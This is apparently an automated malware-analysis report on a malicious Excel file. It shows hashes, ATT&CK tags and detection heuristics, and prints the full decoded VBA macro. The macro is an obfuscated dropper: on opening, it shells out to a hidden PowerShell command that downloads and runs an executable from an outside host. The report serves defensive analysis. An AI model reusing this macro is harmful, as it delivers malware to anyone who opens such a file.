Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 00142dc3bb270d63…

MALICIOUS

Office (OLE)

48.5 KB Created: 2009-02-14 12:31:57 Authoring application: Microsoft Excel First seen: 2018-10-07
MD5: 4b3a7c7cf853208bfb24fa810c1d2563 SHA-1: d81ee58cc23a8fc81b8a9d8c4a0e9c8b08dd466b SHA-256: 00142dc3bb270d637e3d9c0316ef72bfc068c633833a773f1288a46aab0e8845
148 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file is an Excel document containing VBA macros. The Workbook_Open macro is triggered upon opening, which then calls a function that constructs and executes a PowerShell command. This command is designed to download a second-stage executable from 'the embedded link' and save it as a file named with a random number and '.exe'. The ClamAV detection name 'Xls.Dropper.Generic-6595971-0' further supports its role as a dropper.

Heuristics 4

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell fabinachii, fmTabOrientationTop
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2508 bytes
SHA-256: b6b00bc53f056c7c4fbfbb432485b95c951d9fe0465641003eb92799fcbb858b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True






























































Function sheetunderground()
sheetunderground = "sY`STe" + "m.Ne" + "t.`w`E" + "Bc" + "l`IE"
End Function
Function starsunfire()
Dim gardengrass As String
Randomize
gardengrass = Int(Rnd * 9437006#)
starsunfire = gardengrass
End Function
Function fabinachii()
fabinachii = "cm" + ffmulti + "c ""  PO" + "weRsH" + dellpacket & ostinmuffa + staloneumo + libocountries & picassoweb
End Function
Function ffmulti()
ffmulti = "d.e" + "Xe   /"
End Function
Function picassoweb()
inextimer = starsunfire
holeblackdeep = "'tp:'+'//'+'mo'+'nde.at/r'+'eal'+'st'),\""$lenovo\" + "\" + inextimer + ".e" + "xe\"")}wh"
fantaandcola = "ile(!$?);" + "&(\""{1}{0}{2}\""-f'ro','S" + "tart-P','cess') $LEnOvo\" + inextimer + ".e" + "XE"""""
picassoweb = holeblackdeep + fantaandcola
End Function
Function ostinmuffa()
ostinmuffa = "Fil  ""Sv bXzO9" + "1 ([tYPe](\""{2}" + "{1}{0}\""-F 'Me" + "nT','IroN','ENv'));  d" + "o{.(\""{1}{0}\"" -f'p','s" + "lee') 41;$lenovo =   (ge"
End Function
Function dellpacket()
dellpacket = "ElL -noLOGO  -NOeXIt -noNI" + "NTERAcTIV  -WInDO  hiDd" + "en  -EXecUt" + "ionP  bYpAss  -nOpRO"
End Function
Sub Workbook_Open()
Shell fabinachii, fmTabOrientationTop

End Sub
Function libocountries()
hawaiiposition = "nT" + ").\""d" + "o`" + "Wn"
libocountries = "3}{0" + "}{2}\"" -f'c" + "','Ne" + "w-O" + "bj" + "','t','e') " + sheetunderground + hawaiiposition + "LO" + "aDF`I`lE\"".\""iN`Vo" + "Ke\""(('ht'+"
End Function
Function staloneumo()
depodeposit = "e(('M" + "y'+'D"
staloneumo = "T-c" + "hil" + "D" + "IT" + "Em Va" + "R" + "iAB" + "le:bx" + "zo91  ).v" + "aL" + "Ue:" + ":(\""{2}{0" + "}{3}{1}\""-f 't" + "F','rP" + "ath','G" + "e','ol" + "de').Invok" + depodeposit + "o'+'cu'+'me'+'nts'));(.(\""{1}{"
End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.